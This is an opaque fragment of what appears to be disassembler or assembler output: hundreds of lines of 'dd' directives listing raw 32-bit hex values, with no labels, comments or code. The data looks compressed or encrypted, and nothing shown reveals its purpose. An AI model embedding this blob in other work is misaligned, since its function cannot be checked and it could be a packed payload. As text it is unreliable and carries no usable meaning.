		dd 91D76CB9h, 7642EA2h,	0CC7C9FACh, 0F6502042h,	0FE2636E5h
		dd 0BF3D1F11h, 2526808Dh, 241FBDC5h, 0AA9D3C69h, 1C010E93h
		dd 56641DCh, 0E447B8C8h, 0B90E0F4Dh, 0C0D52554h, 0B095F250h
		dd 0C235003Bh, 9D5D9E60h, 900B1A6h, 0AD8C380h, 0FBD9CFh
		dd 0F4974377h, 8C745C7Dh, 33302801h, 5ACA8D6Bh,	0AFBCE8h
		dd 0EEDEB0DCh, 0FD3A38A5h, 0C4A0C67Bh, 6600F6B3h, 45C7BB48h
		dd 594187h, 0FE517895h,	6722CB91h, 0D401EE00h, 0F83323DCh
		dd 0BBD8009Dh, 0E7E593CEh, 3F035197h, 0EB7B235h, 4824BAB4h
		dd 0EAA761Ch, 376D4A7Ah, 8FF7BB47h, 64E4DE40h, 100413Dh
		dd 7943926Fh, 24254C42h, 0FEE7CAh, 2A907BCCh, 0FC065CB5h
		dd 0E010C0AFh, 0AE380010h, 0C5E112ECh, 0E8120CC1h, 0E009D7A7h
		dd 305018C3h, 0C1D9005Ah, 815D58EEh, 84002405h,	947934E4h
		dd 0A6D8F8h, 0F0A70928h, 7BE38F4Eh, 2686D60Fh, 0ACC0AEDEh
		dd 217172h, 28FFCD25h, 2B99F4BEh, 0FA48CEE6h, 0F8560091h
		dd 51C93730h, 0FF3C0783h, 20933885h, 8E817CA8h,	46CE8201h
		dd 21F4505Eh, 3DEC95CCh, 9A00D7D2h, 0BFD31792h,	2006F1Fh
		dd 9636E368h, 2428300Bh, 681EBDh, 9484216h, 873F88DAh
		dd 0ECBF8797h, 0CC907AA7h, 0E083D0B8h, 1BCE00D3h, 0B2A04249h
		dd 0FA00A4AEh, 5190DCCFh, 4CD81h, 63E210C2h, 5CC83F0Fh
		dd 0FC45B500h, 0DA18CA4h, 0AB5400CFh, 89DC23D7h, 787BBD38h
		dd 16D93B33h, 0F44F88F7h, 0A10401F6h, 7770205Bh, 89B7E4D5h
		dd 603D685Ch, 96095F20h, 2544005Dh, 82108BB9h, 0C800244Ah
		dd 16AC9E4Eh, 0A7E3F8h,	3216CAEh, 7B468B37h, 12384A00h
		dd 0CB9F40A6h, 0F7EA03E2h, 26D80E16h, 78DDB2C0h, 33C28C07h
		dd 1930E918h, 0C51F31h,	5A69162Ch, 7AB6523Dh, 9F81620Fh
		dd 59EB41h, 4B8F81Ah, 9B5A0005h, 0D334F46Fh, 28C07BB2h
		dd 51ECB3F5h, 82E100EDh, 73B957B0h, 7200CCE3h, 56FB5A04h
		dd 72E7A55h, 0AE08D916h, 9629A0B5h, 3B006F1Ch, 97DD1A03h
		dd 14317EF0h, 0F21F2636h, 0BB6C12h, 0E9B18C58h,	66053C9Bh
		dd 7495B8CBh, 7C32F000h, 3CDEF91Fh, 0D480613Ah,	278757CAh
		dd 6A009ADDh, 0F54C457Ah, 31048E2h, 4D9F1379h, 0FEA08292h
		dd 96037593h, 814903ECh, 425EA009h, 0EB5A009Ch,	47A36315h
		dd 0A809377Ch, 0D824C9h, 0D6126039h, 465F0080h,	8DC092CBh
		dd 810070BCh, 3C740B07h, 9352896h, 452AB46Dh, 85D46780h
		dd 2200F70Ah, 9CE3E86h,	78B9ADh, 2EB2088Fh, 0F84FC68Eh
		dd 5AE01F00h, 0BA35470Ah, 1CF500ADh, 9B0659C4h,	0AB0030DBh
		dd 0EE88B74h, 5F44AFh, 0F583315Ch, 5316BE6Ah, 0D1528800h
		dd 92071B8Fh, 0A1039015h, 7BF0F76Fh, 73E101A4h,	0FD58A845h
		dd 1B0BB47h, 7D9EDDE8h,	48E008F6h, 2682ECBCh, 0D3B0DEh
		dd 490D36F1h, 6D0004D3h, 174421D2h, 59BAA5E6h, 6B0F04C5h
		dd 63C1D7D4h, 20C8AD56h, 9E2C0408h, 7040C7Ah, 10D07C82h
		dd 0CB6B1h, 42212A2Dh, 46AB9E3Bh, 0ED968803h, 0D0CB9948h
		dd 24C27BCEh, 249D86h, 0B6F63671h, 42002FD2h, 519906EAh
		dd 1E2128B1h, 0C0C4B70Eh, 1833E7Ch, 34E395DCh, 161DBAB0h
		dd 0EB40280Fh, 0DF8B59D5h, 0B2DD0040h, 3FA5E7E4h, 0AB00AAA2h
		dd 0B7F12C14h, 0EEF78B05h, 0B430FF68h, 0B68E00D2h, 8FE9E5ADh
		dd 0D448C244h, 20D303B3h, 90233633h, 0AB0B239h,	0BD487B0Ch
		dd 407C1FC1h, 526A1F78h, 75286227h, 0C300809Eh,	4EAA0E05h
		dd 0A0FC58h, 8933A991h,	0F240E916h, 4AC7B70Ch, 36D21F5h
		dd 98C0A407h, 7C1E85AAh, 0EF402E63h, 0A26CCA32h, 0E37320h
		dd 0B6DF2D4Fh, 7CF9EB8Bh, 93D24600h, 30038CCAh,	57BE0059h
		dd 9F3B770Dh, 37734487h, 0EF12000h, 0D57AF803h,	0A2E60B85h
		dd 787255Ah, 0F6571012h, 0AB165B39h, 660049D0h,	0A982A801h
		dd 966707FAh, 0A14C5581h, 0F485DC76h, 1F50E702h, 0F30ED895h
		dd 1712C3CCh, 2DBB1C00h, 1B09733h, 875B2F78h, 0E5887F32h
		dd 38DC4D0h, 40189400h,	72782B34h, 86C400BAh, 1DB51795h
		dd 130169D2h, 4EB90D2Ch, 0A04004F9h, 1748EF97h,	2089B49Fh
		dd 310FC074h, 200018DDh, 9799E52Eh, 5EBF1682h, 7DC000ACh
		dd 2588F2E3h, 0DFED1900h, 30A0C88Eh, 0C49E00E4h, 581A264Bh
		dd 38E86493h, 5076D5EEh, 3B7FE901h, 0D02E653Dh,	0C5F81E8h
		dd 0D622E1FCh, 17E01F20h, 0DBD17318h, 0AFDA10h,	1A3CDE84h
		dd 6303233Ah, 3E01477Dh, 0C0FE01B8h, 0EBC870A6h, 0B44E005Ah
		dd 0C996764Dh, 0EE00EA49h, 6EED5546h, 7FF273h, 0E2D96856h
		dd 22867790h, 0C04FDD00h, 74DC82C9h, 41800013h,	8DB50E89h
		dd 7E7744D3h, 7C85B401h, 0C3940439h, 71F8F4h, 605B6519h
		dd 0D50EBF61h, 7300A67Bh
		dd 0AFEA8817h, 18CC1E7h, 0C6EC0C18h, 0C30A2630h, 80E9800h
		dd 0F9C1CD05h, 9F7E00CCh, 0DF91FD34h, 0EA06A919h, 2FF447F1h
		dd 0B1400E8h, 96F7BFB5h, 0F80076FDh, 0DA900F9Fh, 0BD9E7Fh
		dd 8B665A2Ah, 3FA42924h, 0E57D9301h, 0B3E2DE8h,	0A1E960h
		dd 5780ED05h, 807AF44h,	0A20EF300h, 95902486h, 8A030652h
		dd 0F8BCD656h, 1207701h, 47B5D355h, 7A8BC4h, 0B38DF1A5h
		dd 0A494B0EFh, 22998500h, 2272951h, 66FEECh, 0B1E4A8FFh
		dd 0AC05CC06h, 10F77430h, 0F1B69h, 0F6E985FBh, 0EBEEDAD8h
		dd 0AC185C00h, 2E3721C0h, 8984249Ah, 70A70000h,	0E9880C19h
		dd 228FAB03h, 0B0C41506h, 548A2EDh, 0A924BD65h,	7BFDC3F6h
		dd 0F13A5A98h, 0EB46350Eh, 0CFED0017h, 3B6832Eh, 6FF79AB8h
		dd 99B32375h, 4F043AA0h, 6A8C10C0h, 0CF133Ch, 0A2C44314h
		dd 0E8961658h, 40EFEB00h, 0CE796089h, 0F89F0152h, 74DEEECBh
		dd 7A09D023h, 0AE47E900h, 0DC99A457h, 5D830002h, 743485Fh
		dd 0A7000418h, 976D771Bh, 0E67053h, 7D3AACC2h, 0B360929Ch
		dd 6B7B8200h, 2F29B08Dh, 76787CC3h, 0E3B8A979h,	55D970h
		dd 48BC2C77h, 0C1E27590h, 600FA401h, 1A86D776h,	9971F8h
		dd 3719EBA7h, 7BFE9A41h, 5F486474h, 0E7067EACh,	0CC8BBD32h
		dd 88E810h, 96799F0Fh, 0F43E3BA3h, 43BC3203h, 0A8B185F5h
		dd 1EE3C742h, 0C07C9931h, 8C0FAA2Fh, 306D691h, 0B17549F3h
		dd 6125004Ch, 115D3DCh,	2E008448h, 0B36C8BF1h, 8D8A41h
		dd 4224542Bh, 681E0277h, 0AE716503h, 0C80FD9E4h, 1D0D8721h
		dd 802C9A32h, 5F5CBEABh, 0D57FFD2Eh, 414FFC00h,	60548D38h
		dd 0AAE81C35h, 7BB1C3CFh, 59986B87h, 0B500D783h, 252B5720h
		dd 8AFE0Ch, 0AFE7C889h,	43F44515h, 0F4EDE224h, 2AA2F300h
		dd 0FCF82366h, 41310B1Eh, 5801376Ah, 0D43FCE50h, 0FD00C3C7h
		dd 70672AAEh, 4CDA70Ch,	5549B0AAh, 5ECC80FCh, 0DD0C7A59h
		dd 76F471F2h, 0BED2014Eh, 358B44FDh, 2805E7AEh,	0E958E2BFh
		dd 0B300BEBCh, 1E5AB51Dh, 813995Eh, 0E71Ah, 6E0D3851h
		dd 737ED6h, 84892C67h, 0C6B7804Eh, 64417407h, 6E30D983h
		dd 0A6B9EC4h, 38EEC123h, 77D800ACh, 0BFD099F4h,	942D7800h
		dd 1830DA6Dh, 12B10066h, 0C3DB1DBDh, 20254BEh, 24DD4B11h
		dd 513C4091h, 145602B8h, 0D297C16Fh, 7366A880h,	93079F1Bh
		dd 9EC60876h, 55BE67F0h, 57E82C0Dh, 0AA9B00B5h,	98966C37h
		dd 0C6739100h, 1A8F3D69h, 0A097601Bh, 9412224h,	96D1CE39h
		dd 0FA1EEAA1h, 2A007B53h, 6F2EFB85h, 9F700F3Fh,	42E076C3h
		dd 86983447h, 0F4E79707h, 6EB161CCh, 71FC8B01h,	0FEEA0268h
		dd 0E4480737h, 0ED0CA840h, 66284300h, 0F401E724h, 13A8EE13h
		dd 0F82017h, 3A27B82Ch,	962C9789h, 0C9187746h, 12541F8h
		dd 9E19C1CEh, 40BA1E80h, 0CA4DDEDFh, 3FEEED00h,	0B583AC7Fh
		dd 0BD878C5h, 6280653Bh, 600860Fh, 98606E48h, 8AB1EB00h
		dd 9399C7Eh, 9FC100C5h,	7245CEE4h, 2098FEDFh, 42BEFB10h
		dd 488692Ah, 11EACB0Fh,	1CC2804Fh, 61025552h, 0D9135C5Dh
		dd 0AC70C107h, 170CEE60h, 48A2C7Dh, 0C083D799h,	90D51910h
		dd 0E034F00h, 0A473ABC7h, 75501E7h, 0C29977F3h,	81DED854h
		dd 0B1E99C00h, 43649E6Ah, 40130009h, 387AEBD2h,	0E100606Dh
		dd 7976A4ADh, 0B86BC0CAh, 6AD51FC9h, 99531Bh, 4A9490C5h
		dd 3C00AC81h, 6E501E05h, 0ED0F0Eh, 3B385C89h, 0AAD2960Ah
		dd 7E0C5A00h, 0F20E508Dh, 628B2664h, 0C1107D00h, 3CC91AB0h
		dd 0A401062Ch, 0BF5D0F41h, 6EB1420h, 57AB9C73h,	0FF0210C8h
		dd 46E7DDE0h, 0F3C4609Ah, 21437FC7h, 0C800A0B3h, 0FC5CF9E8h
		dd 0AFC3003Eh, 0BBB557BAh, 0A276B7E2h, 0CC707800h, 62E52408h
		dd 8790095Eh, 83716Fh, 0B6A029DEh, 0D0160FA8h, 5400AA92h
		dd 520A8562h, 5FB40010h, 21F26DFDh, 60E9D9F6h, 33019B8Ch
		dd 0B7FAE5A0h, 0C300F02Fh, 0C41E09A4h, 7A57D1C0h, 0E3280800h
		dd 0B921762h, 0CAD07216h, 9AD54400h, 90031CE0h,	4A78E471h
		dd 47181E82h, 37ED805Fh, 0F6C2AE24h, 0C0071B8h,	1B4D44EBh
		dd 992E2BAh, 1D516769h,	0E08B9780h, 0EE003A4Ah,	210325FAh
		dd 0E46ECC7h, 595F62DBh, 0F56DDF60h, 960B1F7Eh,	2052B9h
		dd 0BEC17055h, 0FF9E2CCEh, 6646034Eh, 68F03C02h, 0B0A04A42h
		dd 2D004079h, 0EFE9F643h, 7E344C9h, 275CB92Ah, 853F924Bh
		dd 0B6A04860h, 30D4AC00h, 0F5AABF4Fh, 460F0022h, 0BB49F0BDh
		dd 45F441EFh, 0AE936113h, 5A9C3800h, 0F0F369BAh, 27780E0Eh
		dd 4033C9FFh, 231ABED8h, 6E173D38h, 0CCE02E61h,	0F1EE0A7Eh
		dd 0D0A0A7h, 753F37AFh,	4013C81h, 4938A2F4h, 4AFCDE2Ch
		dd 0FDB800ECh, 79F51A12h, 0ED00DFD7h, 0FEC5B660h, 0E7A6507h
		dd 4B52C4Dh, 64BBC9C0h,	0E0B21C46h, 74B1B00h, 0A573D0F4h
		dd 0C215CA9h, 5037C5Ch,	855754C9h, 0D840BF8Ah, 6E248A5Eh
		dd 0D500ADD3h, 0A246B48Dh, 0CFA03E1h, 0D941585Ah, 0DB917790h
		dd 0DC39FE00h, 0B13A3B3Dh, 0CD493BE2h, 0C0C7EE1Eh, 6F31E699h
		dd 930F5BCCh, 0AFD3AC25h, 203043EFh, 5827A89Ch,	0C7E28Dh
		dd 0F039D6DFh, 0A2165D81h, 0B565EE00h, 32E39F9Bh, 290B8A4h
		dd 0F2942856h, 0E060795Fh, 0C400B61Bh, 3C4073BCh, 123A1D4Ch
		dd 5BE59Ch, 0A42489FCh,	0AC009F29h, 98DFA01h, 0F257021h
		dd 40E705B4h, 0E780B90Bh, 0CD6D784Bh, 0C8358900h, 0AACC4A1h
		dd 6CE261h, 31442148h, 0E98CE2B6h, 0D3F3F600h, 60BDFEACh
		dd 0F4510019h, 855CBEDh, 661D8469h, 0A91E5A8Eh,	6E2C803Bh
		dd 3CEF9D94h, 48051F7Dh, 5EE400A8h, 2AE5C5C4h, 6ECC5618h
		dd 219330h, 7AC9D08Eh, 75115267h, 1E88B300h, 0F94C8BE3h
		dd 9406117Bh, 0E63C00C9h, 9590C4F6h, 0D12A288Fh, 7C61C33Ch
		dd 19B89328h, 0E9B06275h, 0A40D5A00h, 351339ECh, 8FA83042h
		dd 95056930h, 50DBC933h, 0AFBE9321h, 28BEE2C6h,	0EAD7163h
		dd 6D67FB58h, 24AAEEC3h, 32C2E4A8h, 0CF6E141Ch,	0CDD1F504h
		dd 0D974DB80h, 0EA3ECF8h, 0C95E5F9Fh, 1C3908E0h, 0E4000AB2h
		dd 76245D84h, 0FCC0493Dh, 73943E82h, 2A05DC80h,	86E01B3Eh
		dd 0DFD55F00h, 6776FDA3h, 7FF2F06Ah, 0C2E20EFFh, 65C01F9Ch
		dd 0F733AB9Dh, 418CA11Fh, 1D813D83h, 77660904h,	0ED00B3D6h
		dd 5278021Bh, 0EA5DE71Fh, 9E535B8Fh, 80157D09h,	0DFE6BCD3h
		dd 44323D07h, 4DF2007Eh, 3E18CDEDh, 0AB000E27h,	0CC041CD2h
		dd 27496E0h, 5FDC33BEh,	5540C2E3h, 870AC1A5h, 0A8E6C5C9h
		dd 0B4F53687h, 0F6EC4CE0h, 12FF0030h, 48C4D722h, 9A008E91h
		dd 2FB0737Dh, 19BB2CAh,	0CD34EB8Bh, 0C80EC8F7h,	0D903B7DCh
		dd 86C99009h, 1CBC008Eh, 0B63D1E3Ah, 0CB029A78h, 83E6029h
		dd 0A20F4086h, 35B4001Dh, 0EAAD2B31h, 300EB7Ah,	0C387F9F6h
		dd 150BDDh, 0B6751E9Fh,	681D8B93h, 6B744E07h, 0F981A083h
		dd 5170A603h, 18970048h, 4F945ABDh, 1E003C4Dh, 9C02E401h
		dd 798A9CCh, 6BA1997Bh,	0B8095060h, 0E300AA7Fh,	0C834C611h
		dd 4C89AEh, 0ECFBDC67h,	0DDACEEF4h, 3DE1EF00h, 784008EAh
		dd 3EFCD1h, 0DFF27B3Ah,	37FF628Ah, 0F4A6CC00h, 8BEFCDEBh
		dd 0F0B90115h, 5230504Dh, 2469E158h, 0FF031A70h, 2ACFC32Fh
		dd 0C11AD22h, 2433FC04h, 0EB0C648h, 2D209DB1h, 4553F5A8h
		dd 46CC0200h, 5BDBCFA9h, 50B60133h, 25B003F3h, 3729909Fh
		dd 48C1F984h, 290A427Ah
		dd 22441B22h, 0CE246A81h, 132C9321h, 6044D49Fh,	42F2486Bh
		dd 832528F1h, 16AD3C04h, 4A53A644h, 67101475h, 0AA447788h
		dd 12012B21h, 0FF5082CBh, 2FE2593h, 2E408C14h, 2721CF04h
		dd 11E212DCh, 0C0B30879h, 52BFEF79h, 8812C2A6h,	0DF070337h
		dd 81E06310h, 0E3C673h,	0F659D0EEh, 69E20C19h, 4265FB07h
		dd 0E830D14Eh, 0EA336A9h, 0EFD57702h, 28B5E740h, 18F24774h
		dd 480F5800h, 16C2B0B8h, 809A00BFh, 0D26157D4h,	44E2D7C3h
		dd 8368AC00h, 0A2857E11h, 0B12C2625h, 543B0EB6h, 0AFAB807Dh
		dd 269F3E94h, 9E4CE403h, 0A8319ADAh, 1EFEA388h,	0C01E6091h
		dd 0FACF8934h, 3824838Fh, 96015158h, 0A0F11085h, 50802EFCh
		dd 0B7F8199h, 31E98653h, 0BF0CA783h, 0AE178790h, 10B5EC30h
		dd 369F976h, 9FBCD2E9h,	18D098E6h, 74393D56h, 0CCB6h, 35C1AC8Dh
		dd 69AE2E8h, 232CC419h,	7D0340D1h, 7E66ED68h, 0FF1000ECh
		dd 0B1F57031h, 2D7C43E8h, 85ED1D01h, 0ADB52844h, 6A0D4880h
		dd 679718D3h, 94015C01h, 87108B72h, 7BB7ABC4h, 82A6007Bh
		dd 0D926C2E8h, 84A04D78h, 450CDC98h, 104EE2F4h,	0CD5C0087h
		dd 0AC3ED726h, 5706467Dh, 7ACF11A3h, 38520120h,	10CDD993h
		dd 76AE60A4h, 80AF0F00h, 1FA4AD6h, 0B3630F15h, 0B8C0A99Ah
		dd 1445AAD5h, 52E11000h, 67C34454h, 7EF13E72h, 0B380C0BBh
		dd 6A74C15Fh, 0B60F1401h, 2016CE09h, 3318D67Fh,	7D610611h
		dd 3002EDE3h, 0CBD23800h, 0CE8477AEh, 9C7E0092h, 6307C231h
		dd 0B800504Fh, 9F752F5Ch, 198BE25h, 0E0FABACAh,	0D14ADF92h
		dd 4CEE70ADh, 18827D00h, 0FF8D412Fh, 6D210001h,	0A29DEB5Dh
		dd 1500C12Eh, 907FA56Eh, 0DD79BCh, 3B6C46F1h, 9CB9FCCAh
		dd 0AC8B2700h, 11375658h, 9740044h, 0CEBC0786h,	18010522h
		dd 0C1AE82AFh, 80E40CA1h, 49CF0028h, 0D477E76h,	2E0F16D2h
		dd 0E763AADBh, 9E509836h, 7150A0A7h, 93D006C3h,	11FA79F3h
		dd 53945E00h, 0FB5B013Ah, 448B0C22h, 3562E3A7h,	6BD024h
		dd 6AFF2B80h, 0E8A80h, 4E1DE0E2h, 0F4C47A3h, 0AFD9DB09h
		dd 0AA0D869h, 0CD51C6A7h, 958E0FECh, 766FDCE0h,	0C90EBAE5h
		dd 0E13944BEh, 0FF078CCCh, 0B870D3h, 587C4BD2h,	35B1097Ah
		dd 96C45D01h, 0ACCE4DF1h, 8911F8h, 58DB8DAEh, 5153C6C5h
		dd 7400EFEEh, 9A4BE0CDh, 4EA7B7h, 0C05458AFh, 0B550306Eh
		dd 353C9300h, 1C56A57h,	4B080228h, 0FA8E5B17h, 0ACE8055h
		dd 152E03Ah, 0A5887B3Fh, 60735581h, 0EBF6BA36h,	379A6D16h
		dd 15F7DA00h, 7853D5E9h, 0C45100CCh, 0AAC3312Bh, 9100133Dh
		dd 788D9804h, 2602CA5Dh, 30DD0Dh, 6B552819h, 0A9000E41h
		dd 0E3CD444Ah, 3877E72Bh, 0F00FEBCAh, 2408EE6h,	0EE4ABAA6h
		dd 0B69B4E00h, 41185475h, 34E1009Ch, 0C879EB4Fh, 5B00E3E6h
		dd 8DA65ED5h, 0DA4974h,	3386A820h, 0B7B0426Ah, 5DEC73Ch
		dd 0B808D25Bh, 0C5FF400h, 0FF509198h, 65951081h, 40A17511h
		dd 8C0E29C0h, 9376A505h, 9EC0CF90h, 90692160h, 0F5FE2Eh
		dd 92A8173Fh, 5635A337h, 9A590A00h, 0EDFB01B6h,	0AEE600DEh
		dd 31A16A2h, 0BD004C64h, 0F95FDA09h, 0BC8F9Dh, 2C316DB7h
		dd 3EACB1E7h, 0FBE00401h, 0FFDF679Eh, 4BA0330h,	0E78B267Ch
		dd 43A88048h, 41572DBh,	0E0313Ah, 0A549371Ah, 0A4137Ah
		dd 8B3C46DFh, 0F82502A6h, 611D400h, 0E287BED9h,	561400ECh
		dd 0C4E36EC5h, 0AF12DF40h, 0A8004578h, 0CE442FBEh, 7E960020h
		dd 46B5DE24h, 751C838Bh, 55401969h, 0AEA444A8h,	7DA0090Fh
		dd 68009F21h, 248F7B30h, 5973C300h, 81389506h, 46D41492h
		dd 8B02ACE5h, 6440C10Eh, 5BAD9000h, 286C005Fh, 1B358FE2h
		dd 3B0FF742h, 0EF115DA9h, 8BB2E0C9h, 267ECB3Fh,	859F9Eh
		dd 91BAEC7h, 8E01B53Bh,	0C5FCB14Dh, 0CC30EFF5h,	6E33006Dh
		dd 342F0F13h, 60304284h, 8BFB7003h, 103A2E64h, 0CD7F07B9h
		dd 214FB223h, 2BF027E0h, 0AC14BA00h, 0E7F16EFAh, 9528C01Eh
		dd 0E3E81DF6h, 0DA78D701h, 2C4093D5h, 0E078C30h, 20272EBBh
		dd 7CC458Ah, 0D08EC41Fh, 0F6C86D56h, 0F4402400h, 5A87FA31h
		dd 3A813E67h, 0A2E46402h, 0BCC0B571h, 13077CC5h, 1B97BF7Dh
		dd 20EE3250h, 279400E7h, 64BE2D5Fh, 17003B8Bh, 0A67CDC0h
		dd 0DFD9BFh, 6C901D21h,	9E306F3Ch, 8EC86A09h, 5FACA0FDh
		dd 5C2417E1h, 0FF00B960h, 0E457C5E3h, 0E0FE5A04h, 5010F903h
		dd 0B8028DFEh, 389D7028h, 6680DA07h, 7D5671AFh,	3483D6Ch
		dd 0CAD600BCh, 23393A58h, 0F467002Eh, 31A4C0EDh, 6200E03Bh
		dd 0F5A78A6Fh, 436A0Ch,	22C552DAh, 0C7AADD3Ah, 7969700h
		dd 0E0253BE6h, 19500C8h, 0F343FBD5h, 23078B3Ah,	9C681441h
		dd 619A5020h, 149B0DDh,	67B849BFh, 20D5808Bh, 0EC07F2E4h
		dd 0B77E46FEh, 29CCBC60h, 0B375042Ch, 824C8F89h, 0A480D144h
		dd 73098AD9h, 7A015CB8h, 216899C8h, 5880DFEEh, 59D72260h
		dd 18074A17h, 0C728F6B8h, 2ACC9190h, 0F17CB7h, 0E030AC98h
		dd 0B5EDA59Fh, 0EF4CC700h, 0E10A5F24h, 3690077h, 0B0B6E08Eh
		dd 3B00FEA8h, 0E531B4FDh, 4142FA0h, 0A662CEC0h,	0E4C80F7h
		dd 7B00B96Dh, 0D6EF40FFh, 0B8CE635Dh, 0D907004Eh, 9EE831Bh
		dd 60B8170Ch, 350099F4h, 0DC6EE7CBh, 0D5AD2Ah, 37E204F5h
		dd 0B93149D6h, 20900DE6h, 0BBCECB03h, 80A61AC7h, 3E039475h
		dd 9D075844h, 0E97B071Ch, 0D91D8C80h, 0FF00DE4Eh, 2BF36076h
		dd 0E88A6C92h, 0AA7707B7h, 42DF4D46h, 60DD3595h, 49A6A24h
		dd 284741D4h, 0C91580FAh, 2701CDF8h, 0D3400F35h, 7C200D61h
		dd 8EC700BEh, 2387E999h, 830085F3h, 0DF4A3817h,	0EC86634Eh
		dd 0B03363ABh, 62D0FA75h, 551F71CCh, 0D700E2C0h, 0C7E9CED5h
		dd 0D6201EC2h, 73753E7h, 0F0139E48h, 8F776801h,	2E31F81Dh
		dd 4D37147h, 5F0649C0h,	55BC048Eh, 85366239h, 738548h
		dd 3D849DFCh, 6A76634Ch, 0F5C22A0Eh, 0AE871E62h, 1D81ECDCh
		dd 0D9E0E3B8h, 0AC300ACh, 7DD2F2EBh, 3490ED19h,	0AF29201Dh
		dd 39A45C9h, 0D073E11Ch, 5DEAEC3Eh, 6A00E8B2h, 869635CDh
		dd 6B3A51ACh, 0DAD0180h, 6E93C67Fh, 0BC61F4h, 92601129h
		dd 39C7A787h, 5FE6CC1Eh, 5C552640h, 3FD24E9h, 8879660Ch
		dd 4AB89D8Bh, 5D743C68h, 35DCD504h, 84989C2Eh, 9FEF0BB7h
		dd 0E8000EEBh, 0FA67D14Fh, 789DA600h, 488F28C7h, 0B8C060FCh
		dd 0A82730EAh, 31418109h, 291490D8h, 0EF00079h,	6DD7DACAh
		dd 6500432Fh, 983716FAh, 113ECBh, 31FD5A01h, 9989BE92h
		dd 0E1303C07h, 4C50EF2Fh, 0E42903C0h, 0CBBB869h, 223BACE9h
		dd 0FCB878B0h, 7C5C0F26h, 49B1C600h, 11F2361h, 7C2C06BFh
		dd 0E070E785h, 1300FBD7h, 736C94FAh, 0B36F927h,	0ACDAB96Bh
		dd 0D0340380h, 9D7BEFA1h, 0F3C32D00h, 8B24C73h,	3A700Eh
		dd 0F26C611Dh, 674AFF25h, 0A474B000h, 7B2FDA84h, 0CB0C25A1h
		dd 0C30065F6h, 5E2B91F5h, 3922830h, 0B94F3EE0h,	1ACA9A8h
		dd 0A4618782h, 0C0231F46h, 5A7C8BAAh, 672BC20Ch, 0E07B3040h
		dd 0FCB87989h, 0B7CC1702h, 0FF160782h, 70060B25h, 70982841h
		dd 4E5F6800h, 1095E8BEh, 35D90059h, 0F7F0A0E0h,	0A612B2D3h
		dd 7400397Eh, 0CD15B9B4h, 0EF042E42h, 0D58C0095h, 0BADECCD1h
		dd 84125E00h, 0DD75144h, 3A50004h, 0EFFA81B4h, 0CD005223h
		dd 0AB4B7BC1h, 18881366h, 5867561Dh, 8904A6F0h,	0E9402DFFh
		dd 14D0A080h
		dd 18AB0069h, 0C31CBADDh, 4C48DB24h, 9CAF0AE4h,	5600C026h
		dd 0BE912D3Eh, 710F009Dh, 0D619469Eh, 4F3B5D0Ah, 7C5C8372h
		dd 0A868D5D0h, 56A88Ah,	2A1A10D7h, 0F578CF81h, 5F6B7300h
		dd 0E2097541h, 2C085CA3h, 0A1F7007Eh, 0D5B052Bh, 41002EFDh
		dd 5FB21C02h, 0EB11C5h,	0C315731Fh, 6D22208Dh, 95A13902h
		dd 80DDB87Eh, 0AB4A9DA0h, 64620947h, 0FCA06F16h, 0E1335E70h
		dd 35F613Bh, 2A6BC07Ah,	0EB99901Dh, 16E33A07h, 0C9D80D00h
		dd 0BF081757h, 20C7C103h, 0A8DF1D78h, 0F67234EFh, 79390109h
		dd 2AD4DA40h, 8FC080BBh, 2CF2BA9Ch, 0BE59007Bh,	736591B2h
		dd 0E03B674h, 273631BBh, 48F4A0F7h, 62D928F5h, 747A04B0h
		dd 398B11h, 0EAD6CFBFh,	957746h, 8E6EE1DEh, 76C9413Dh
		dd 3A660800h, 1142404Dh, 65AD0079h, 9A8C5A05h, 460006DBh
		dd 0B11A4AA0h, 8E628D8h, 53AFBBDCh, 38811204h, 0DDE9BF40h
		dd 630068A2h, 0E3B1F1B3h, 0B026FE3Bh, 17160095h, 7B2B4BA9h
		dd 9F00DB77h, 0C7250CF2h, 13115ECFh, 13BBA07h, 576DDF0h
		dd 887C240Ah, 2295301h,	2EB1F664h, 90D1B874h, 50EB00E4h
		dd 87BE8CCCh, 0F3382A66h, 4C4C17h, 0CA896FABh, 1DCF927Ch
		dd 5EC6D059h, 0C068DEBAh, 9F7F1B06h, 0E348916Eh, 7D545858h
		dd 5C00E490h, 0BE2A0124h, 3C872584h, 381F1F32h,	0E8AED3h
		dd 88A7167Ah, 0D8B28F2Eh, 11B1BB00h, 544485F7h,	0E77A006Bh
		dd 0B0F5CFB8h, 0B509F462h, 0E197D6CEh, 30094004h, 8A00F970h
		dd 6B37CA01h, 1F47C12h,	9869403Bh, 7063CF56h, 5D0C1DF8h
		dd 11E501FEh, 50E71C83h, 3DD4809Eh, 3A4A9878h, 0F395F4A0h
		dd 60975C96h, 0A16A6700h, 8F2B30h, 2214CD3Ah, 0F7D25819h
		dd 45A3CDA0h, 0B009784Fh, 873B0283h, 318440E8h,	0DC293330h
		dd 0EDC84E28h, 8F0706B9h, 16E1AA5Dh, 87BF0A30h,	759FA8Eh
		dd 366DFD33h, 42E600BBh, 0C7006577h, 0EB14DCC6h, 47A4E52h
		dd 21766E35h, 2E18E08Bh, 0D33C1DF6h, 0A3EB8039h, 0C716A4C8h
		dd 176DB886h, 40CFB5F1h, 6723EEF4h, 0C507B164h,	0A686BF41h
		dd 0C1E71E11h, 1D203D8h, 0E6D1E3BAh, 64F87C09h,	4E0327F0h
		dd 0AFB99037h, 88A48096h, 0D659058Ch, 8087311Eh, 23B41D50h
		dd 0E6FC3E01h, 884C2DD1h, 36012DCh, 99665330h, 0A8C03603h
		dd 0B848F84Bh, 0ECD90E48h, 4E23C01Eh, 353A2Ah, 0C9606C71h
		dd 0E4E64BBFh, 0B9287C63h, 0C28A85Eh, 48FC045Ah, 84D8D347h
		dd 0A820D062h, 0B4E22607h, 6044DE00h, 0FB1C6313h, 0D09EE3h
		dd 55C45DBAh, 58B08971h, 0DFCC6C13h, 0F7574404h, 4E47E4D0h
		dd 0C7B00021h, 0F19F9BECh, 4B1C55E6h, 0B64930E1h, 35180145h
		dd 7DDC5E85h, 64B451h, 3A12EBFDh, 0E448E013h, 1C350080h
		dd 10A4385Dh, 8644139Ch, 0F338C05Ah, 0BA5984h, 92B53001h
		dd 71EE5C0h, 0E3553880h, 79A57682h, 0C0D51A3Dh,	0A190D2h
		dd 0BAC68706h, 781130E0h, 8A753AE4h, 82D0550Bh,	0E931005Fh
		dd 48D70AA2h, 9307604Fh, 97F6E288h, 95D9E061h, 3A0E99CAh
		dd 0E082AA75h, 7B58F72Ah, 88520076h, 74C62478h,	34008E48h
		dd 1642354h, 0F6B39D36h, 0FC3FF631h, 3E54984Bh,	96C09FEEh
